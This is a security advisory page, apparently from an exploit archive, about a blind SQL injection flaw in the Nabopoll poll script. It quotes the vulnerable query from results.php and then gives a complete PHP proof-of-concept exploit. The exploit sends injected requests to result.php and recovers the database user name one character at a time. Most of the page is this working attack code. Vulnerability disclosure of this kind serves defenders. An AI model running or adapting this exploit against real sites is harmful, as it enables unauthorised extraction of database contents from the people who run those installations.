Nabopoll Blind SQL Injection vulnerabilies

2007-03-08 / 2007-03-09
Credit: s0cratex
Risk: Medium
Local: No
Remote: Yes
CWE: CWE-89


CVSS Base Score: 7.5/10
Impact Subscore: 6.4/10
Exploitability Subscore: 10/10
Exploit range: Remote
Attack complexity: Low
Authentication: No required
Confidentiality impact: Partial
Integrity impact: Partial
Availability impact: Partial

Nabopoll have a bug in some files, for example results.php Line 27...31 -------------------------------- $res_question = mysql_query("select * from nabopoll_questions where survey=$survey order by id"); if ($res_question == FALSE || mysql_numrows($res_question) == 0) error($row_survey, "questions not found"); -------------------------------- Exploit -------------------------------- <? # Nabopoll Blind SQL Injection P0C Exploit # Download: www.nabocorp.com/nabopoll/ # coded by s0cratex # Contact: s0cratex (at) hotmail (dot) com [email concealed] error_reporting(0); ini_set("max_execution_time",0); // just change the default values... $srv = "localhost"; $path = "/poll"; $port = 80; $survey = "8"; //you can verify the number entering in the site and viewing the results... echo "==================================================\n"; echo "Nabopoll SQL Injection -- Proof of Concept Exploit\n"; echo "--------------------------------------------------\n\n"; echo " -- MySQL User: "; $j = 1; $user = ""; while(!strstr($user,chr(0))){ for($x=0;$x<255;$x++){ $xpl = "/result.php?surv=".$survey."/**/AND/**/1=(SELECT/**/(IF((ASCII(SUBSTRIN G(user(),".$j.",1))=".$x."),1,0)))/*"; $cnx = fsockopen($srv,$port); fwrite($cnx,"GET ".$path.$xpl." HTTP/1.0\r\n\r\n"); while(!feof($cnx)){ if(ereg("power",fgets($cnx))){ $user.=chr($x);echo chr($x); break; } } fclose($cnx); if ($x==255) { die("\n Try again..."); } } $j++; } echo "\n"; ?>


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2019, cxsecurity.com

 

Back to Top